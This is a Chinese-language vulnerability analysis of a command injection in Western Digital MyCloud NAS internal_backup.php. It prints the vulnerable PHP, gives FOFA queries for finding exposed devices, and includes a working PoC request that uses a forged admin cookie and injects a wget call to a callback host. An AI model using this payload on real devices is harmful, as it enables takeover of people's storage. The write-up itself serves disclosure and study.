漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS internal_backup.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 internal_backup.php 其业务实现逻辑如下
<?php
session_start();
$r = new stdClass();
$r->success = false;
include ("../lib/login_checker.php");
/* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
if (login_check() != 1)
{
echo json_encode($r);
exit;
}
define('INTERNAL_BACKUPS_CONF', '/var/www/xml/internal_backup.xml');
$action = $_POST['action'];
if ($action == "") $action = $_GET['action'];
.....
switch ($action)
{
case "create":
{
$taskname = $_POST['taskname'];
$source_dir = $_POST['source_dir'];
$dest_dir = $_POST['dest_dir'];
$backup_type = $_POST['backup_type'];
$schedule = $_POST['schedule'];
$schedule_type = $_POST['backup_sch_type'];
$hour = $_POST['hour'];
$week = $_POST['week'];
$day = $_POST['day'];
$sch_command = "";
if ($schedule == "0")$sch_command = "0,1,1";
else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
$cmd = sprintf("internal_backup -a \"%s\" -m %s -d %s -r %s -c jobadd",
$taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command);
foreach ($source_dir as $val)
$cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val)));
$cmd .= " >/dev/null 2>&1";
/*
$file = '/tmp/cgi_internalbackup.txt';
// Open the file to get existing content
$current = file_get_contents($file);
// Append a new person to the file
$current .= $cmd;
// Write the contents back to the file
file_put_contents($file, $current);
*/
system($cmd);
//pclose(popen($cmd, 'r'));
$pname = sprintf("/tmp/r_internal!_%s", $taskname);
//@unlink($pname);
system("rm ".$pname);
stop_job($taskname);
//Start job
$cmd = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
system($cmd);
//pclose(popen($cmd, 'r'));
//sleep(2);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
当$_POST['action'] = create时,$taskname = $_POST['taskname']、$_POST['backup_type']、$_POST['source_dir']这几个参数均是直接拼接进$cmd中,然后调用system进行执行,期间对这几个参数没有过滤或校验,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。
类似的问题同样存在于modify go_restore go_jobs del 操作中,其中$backup_type $restore_source $taskname $old_taskname等参数也未被转义。

go_restore

go_jobs

del

漏洞复现
需要注意source_dir应为数组形式,否则foreach循环判断会出错
POST /web/backups/internal_backup.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded
taskname=";wget xx.dnslog.pt;"&action=create&source_dir[]=

成功在DNSLOG平台收到DNS和HTTP请求


